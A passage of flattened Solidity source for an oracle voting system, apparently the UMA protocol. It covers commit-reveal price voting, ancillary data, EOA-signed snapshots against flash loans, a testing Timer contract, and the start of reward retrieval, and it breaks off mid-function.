* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(Reveal[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
virtual
returns (VotingAncillaryInterface.PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (VotingAncillaryInterface.Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Universal store of current contract time for testing environments.
*/
contract Timer {
uint256 private currentTime;
constructor() public {
currentTime = now; // solhint-disable-line not-rely-on-time
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set `currentTime` to.
*/
function setCurrentTime(uint256 time) external {
currentTime = time;
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint256 for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
return currentTime;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingAncillaryInterface {
struct PendingRequestAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct CommitmentAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct RevealAncillary {
bytes32 identifier;
uint256 time;
int256 price;
bytes ancillaryData;
int256 salt;
}
// Note: the phases must be in order. Meaning the first enum value must be the first phase, etc.
// `NUM_PHASES_PLACEHOLDER` is to get the number of phases. It isn't an actual phase, and it should always be last.
enum Phase { Commit, Reveal, NUM_PHASES_PLACEHOLDER }
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests() external view virtual returns (PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/VotingInterface.sol";
import "../interfaces/VotingAncillaryInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "./Registry.sol";
import "./ResultComputation.sol";
import "./VoteTiming.sol";
import "./VotingToken.sol";
import "./Constants.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
/**
* @title Voting system for Oracle.
* @dev Handles receiving and resolving price requests via a commit-reveal voting scheme.
*/
contract Voting is
Testable,
Ownable,
OracleInterface,
OracleAncillaryInterface, // Interface to support ancillary data with price requests.
VotingInterface,
VotingAncillaryInterface // Interface to support ancillary data with voting rounds.
{
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using VoteTiming for VoteTiming.Data;
using ResultComputation for ResultComputation.Data;
/****************************************
* VOTING DATA STRUCTURES *
****************************************/
// Identifies a unique price request for which the Oracle will always return the same value.
// Tracks ongoing votes as well as the result of the vote.
struct PriceRequest {
bytes32 identifier;
uint256 time;
// A map containing all votes for this price in various rounds.
mapping(uint256 => VoteInstance) voteInstances;
// If in the past, this was the voting round where this price was resolved. If current or the upcoming round,
// this is the voting round where this price will be voted on, but not necessarily resolved.
uint256 lastVotingRound;
// The index in the `pendingPriceRequests` that references this PriceRequest. A value of UINT_MAX means that
// this PriceRequest is resolved and has been cleaned up from `pendingPriceRequests`.
uint256 index;
bytes ancillaryData;
}
struct VoteInstance {
// Maps (voterAddress) to their submission.
mapping(address => VoteSubmission) voteSubmissions;
// The data structure containing the computed voting results.
ResultComputation.Data resultComputation;
}
struct VoteSubmission {
// A bytes32 of `0` indicates no commit or a commit that was already revealed.
bytes32 commit;
// The hash of the value that was revealed.
// Note: this is only used for computation of rewards.
bytes32 revealHash;
}
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
/****************************************
* INTERNAL TRACKING *
****************************************/
// Maps round numbers to the rounds.
mapping(uint256 => Round) public rounds;
// Maps price request IDs to the PriceRequest struct.
mapping(bytes32 => PriceRequest) private priceRequests;
// Price request ids for price requests that haven't yet been marked as resolved.
// These requests may be for future rounds.
bytes32[] internal pendingPriceRequests;
VoteTiming.Data public voteTiming;
// Percentage of the total token supply that must be used in a vote to
// create a valid price resolution. 1 == 100%.
FixedPoint.Unsigned public gatPercentage;
// Global setting for the rate of inflation per vote. This is the percentage of the snapshotted total supply that
// should be split among the correct voters.
// Note: this value is used to set per-round inflation at the beginning of each round. 1 = 100%.
FixedPoint.Unsigned public inflationRate;
// Time in seconds from the end of the round in which a price request is
// resolved that voters can still claim their rewards.
uint256 public rewardsExpirationTimeout;
// Reference to the voting token.
VotingToken public votingToken;
// Reference to the Finder.
FinderInterface private finder;
// If non-zero, this contract has been migrated to this address. All voters and
// financial contracts should query the new address only.
address public migratedAddress;
// Max value of an unsigned integer.
uint256 private constant UINT_MAX = ~uint256(0);
// Max length in bytes of ancillary data that can be appended to a price request.
// As of December 2020, the current Ethereum gas limit is 12.5 million. This requestPrice function's gas primarily
// comes from computing a Keccak-256 hash in _encodePriceRequest and writing a new PriceRequest to
// storage. We have empirically determined an ancillary data limit of 8192 bytes that keeps this function
// well within the gas limit at ~8 million gas. To learn more about the gas limit and EVM opcode costs go here:
// - https://etherscan.io/chart/gaslimit
// - https://github.com/djrtwo/evm-opcode-gas-costs
uint256 public constant ancillaryBytesLimit = 8192;
bytes32 public snapshotMessageHash = ECDSA.toEthSignedMessageHash(keccak256(bytes("Sign For Snapshot")));
/***************************************
* EVENTS *
****************************************/
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
/**
* @notice Construct the Voting contract.
* @param _phaseLength length of the commit and reveal phases in seconds.
* @param _gatPercentage of the total token supply that must be used in a vote to create a valid price resolution.
* @param _inflationRate percentage inflation per round used to increase token supply of correct voters.
* @param _rewardsExpirationTimeout timeout, in seconds, within which rewards must be claimed.
* @param _votingToken address of the UMA token contract used to commit votes.
* @param _finder keeps track of all contracts within the system based on their interfaceName.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
uint256 _phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
uint256 _rewardsExpirationTimeout,
address _votingToken,
address _finder,
address _timerAddress
) public Testable(_timerAddress) {
voteTiming.init(_phaseLength);
require(_gatPercentage.isLessThanOrEqual(1), "GAT percentage must be <= 100%");
gatPercentage = _gatPercentage;
inflationRate = _inflationRate;
votingToken = VotingToken(_votingToken);
finder = FinderInterface(_finder);
rewardsExpirationTimeout = _rewardsExpirationTimeout;
}
/***************************************
MODIFIERS
****************************************/
modifier onlyRegisteredContract() {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Caller must be migrated address");
} else {
Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry));
require(registry.isContractRegistered(msg.sender), "Called must be registered");
}
_;
}
modifier onlyIfNotMigrated() {
require(migratedAddress == address(0), "Only call this if not migrated");
_;
}
/****************************************
* PRICE REQUEST AND ACCESS FUNCTIONS *
****************************************/
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported. The length of the ancillary data
* is limited such that this method abides by the EVM transaction gas limit.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public override onlyRegisteredContract() {
uint256 blockTime = getCurrentTime();
require(time <= blockTime, "Can only request in past");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier request");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
bytes32 priceRequestId = _encodePriceRequest(identifier, time, ancillaryData);
PriceRequest storage priceRequest = priceRequests[priceRequestId];
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.NotRequested) {
// Price has never been requested.
// Price requests always go in the next round, so add 1 to the computed current round.
uint256 nextRoundId = currentRoundId.add(1);
priceRequests[priceRequestId] = PriceRequest({
identifier: identifier,
time: time,
lastVotingRound: nextRoundId,
index: pendingPriceRequests.length,
ancillaryData: ancillaryData
});
pendingPriceRequests.push(priceRequestId);
emit PriceRequestAdded(nextRoundId, identifier, time);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function requestPrice(bytes32 identifier, uint256 time) public override {
requestPrice(identifier, time, "");
}
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return _hasPrice bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (bool) {
(bool _hasPrice, , ) = _getPriceOrError(identifier, time, ancillaryData);
return _hasPrice;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) {
return hasPrice(identifier, time, "");
}
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (int256) {
(bool _hasPrice, int256 price, string memory message) = _getPriceOrError(identifier, time, ancillaryData);
// If the price wasn't available, revert with the provided message.
require(_hasPrice, message);
return price;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) {
return getPrice(identifier, time, "");
}
/**
* @notice Gets the status of a list of price requests, identified by their identifier and time.
* @dev If the status for a particular request is NotRequested, the lastVotingRound will always be 0.
* @param requests array of type PendingRequest which includes an identifier and timestamp for each request.
* @return requestStates a list, in the same order as the input list, giving the status of each of the specified price requests.
*/
function getPriceRequestStatuses(PendingRequestAncillary[] memory requests)
public
view
returns (RequestState[] memory)
{
RequestState[] memory requestStates = new RequestState[](requests.length);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
for (uint256 i = 0; i < requests.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(requests[i].identifier, requests[i].time, requests[i].ancillaryData);
RequestStatus status = _getRequestStatus(priceRequest, currentRoundId);
// If it's an active request, its true lastVotingRound is the current one, even if it hasn't been updated.
if (status == RequestStatus.Active) {
requestStates[i].lastVotingRound = currentRoundId;
} else {
requestStates[i].lastVotingRound = priceRequest.lastVotingRound;
}
requestStates[i].status = status;
}
return requestStates;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPriceRequestStatuses(PendingRequest[] memory requests) public view returns (RequestState[] memory) {
PendingRequestAncillary[] memory requestsAncillary = new PendingRequestAncillary[](requests.length);
for (uint256 i = 0; i < requests.length; i++) {
requestsAncillary[i].identifier = requests[i].identifier;
requestsAncillary[i].time = requests[i].time;
requestsAncillary[i].ancillaryData = "";
}
return getPriceRequestStatuses(requestsAncillary);
}
/****************************************
* VOTING FUNCTIONS *
****************************************/
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public override onlyIfNotMigrated() {
require(hash != bytes32(0), "Invalid provided hash");
// Current time is required for all vote timing queries.
uint256 blockTime = getCurrentTime();
require(
voteTiming.computeCurrentPhase(blockTime) == VotingAncillaryInterface.Phase.Commit,
"Cannot commit in reveal phase"
);
// At this point, the computed and last updated round ID should be equal.
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
require(
_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active,
"Cannot commit inactive request"
);
priceRequest.lastVotingRound = currentRoundId;
VoteInstance storage voteInstance = priceRequest.voteInstances[currentRoundId];
voteInstance.voteSubmissions[msg.sender].commit = hash;
emit VoteCommitted(msg.sender, currentRoundId, identifier, time, ancillaryData);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) public override onlyIfNotMigrated() {
commitVote(identifier, time, "", hash);
}
/**
* @notice Snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times, but only the first call per round into this function or `revealVote`
* will create the round snapshot. Any later calls will be a no-op. Will revert unless called during reveal period.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature)
external
override(VotingInterface, VotingAncillaryInterface)
onlyIfNotMigrated()
{
uint256 blockTime = getCurrentTime();
require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Only snapshot in reveal phase");
// Require public snapshot require signature to ensure caller is an EOA.
require(ECDSA.recover(snapshotMessageHash, signature) == msg.sender, "Signature must match sender");
uint256 roundId = voteTiming.computeCurrentRoundId(blockTime);
_freezeRoundVariables(roundId);
}
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param price voted on during the commit phase.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public override onlyIfNotMigrated() {
require(voteTiming.computeCurrentPhase(getCurrentTime()) == Phase.Reveal, "Cannot reveal in commit phase");
// Note: computing the current round is required to disallow people from revealing an old commit after the round is over.
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[roundId];
VoteSubmission storage voteSubmission = voteInstance.voteSubmissions[msg.sender];
// Scoping to get rid of a stack too deep error.
{
// 0 hashes are disallowed in the commit phase, so they indicate a different error.
// Cannot reveal an uncommitted or previously revealed hash
require(voteSubmission.commit != bytes32(0), "Invalid hash reveal");
require(
keccak256(abi.encodePacked(price, salt, msg.sender, time, ancillaryData, roundId, identifier)) ==
voteSubmission.commit,
"Revealed data != commit hash"
);
// To protect against flash loans, we require snapshot be validated as EOA.
require(rounds[roundId].snapshotId != 0, "Round has no snapshot");
}
// Get the frozen snapshotId
uint256 snapshotId = rounds[roundId].snapshotId;
delete voteSubmission.commit;
// Get the voter's snapshotted balance. Since balances are returned pre-scaled by 10**18, we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(votingToken.balanceOfAt(msg.sender, snapshotId));
// Set the voter's submission.
voteSubmission.revealHash = keccak256(abi.encode(price));
// Add vote to the results.
voteInstance.resultComputation.addVote(price, balance);
emit VoteRevealed(msg.sender, roundId, identifier, time, price, ancillaryData, balance.rawValue);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public override {
revealVote(identifier, time, price, "", salt);
}
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, ancillaryData, hash);
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
emit EncryptedVote(msg.sender, roundId, identifier, time, ancillaryData, encryptedVote);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, "", hash);
commitAndEmitEncryptedVote(identifier, time, "", hash, encryptedVote);
}
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is emitted in an event.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public override {
for (uint256 i = 0; i < commits.length; i++) {
if (commits[i].encryptedVote.length == 0) {
commitVote(commits[i].identifier, commits[i].time, commits[i].ancillaryData, commits[i].hash);
} else {
commitAndEmitEncryptedVote(
commits[i].identifier,
commits[i].time,
commits[i].ancillaryData,
commits[i].hash,
commits[i].encryptedVote
);
}
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchCommit(Commitment[] memory commits) public override {
CommitmentAncillary[] memory commitsAncillary = new CommitmentAncillary[](commits.length);
for (uint256 i = 0; i < commits.length; i++) {
commitsAncillary[i].identifier = commits[i].identifier;
commitsAncillary[i].time = commits[i].time;
commitsAncillary[i].ancillaryData = "";
commitsAncillary[i].hash = commits[i].hash;
commitsAncillary[i].encryptedVote = commits[i].encryptedVote;
}
batchCommit(commitsAncillary);
}
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more info on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public override {
for (uint256 i = 0; i < reveals.length; i++) {
revealVote(
reveals[i].identifier,
reveals[i].time,
reveals[i].price,
reveals[i].ancillaryData,
reveals[i].salt
);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchReveal(Reveal[] memory reveals) public override {
RevealAncillary[] memory revealsAncillary = new RevealAncillary[](reveals.length);
for (uint256 i = 0; i < reveals.length; i++) {
revealsAncillary[i].identifier = reveals[i].identifier;
revealsAncillary[i].time = reveals[i].time;
revealsAncillary[i].price = reveals[i].price;
revealsAncillary[i].ancillaryData = "";
revealsAncillary[i].salt = reveals[i].salt;
}
batchReveal(revealsAncillary);
}
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the call is done within the timeout threshold
* (not expired). Note that a named return value is used here to avoid a stack to deep error.
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return totalRewardToIssue total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory totalRewardToIssue) {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Can only call from migrated");
}
require(roundId < voteTiming.computeCurrentRoundId(getCurrentTime()), "Invalid roundId");
Round storage round = rounds[roundId];
bool isExpired = getCurrentTime() > round.rewardsExpirationTime;
FixedPoint.Unsigned memory snapshotBalance =
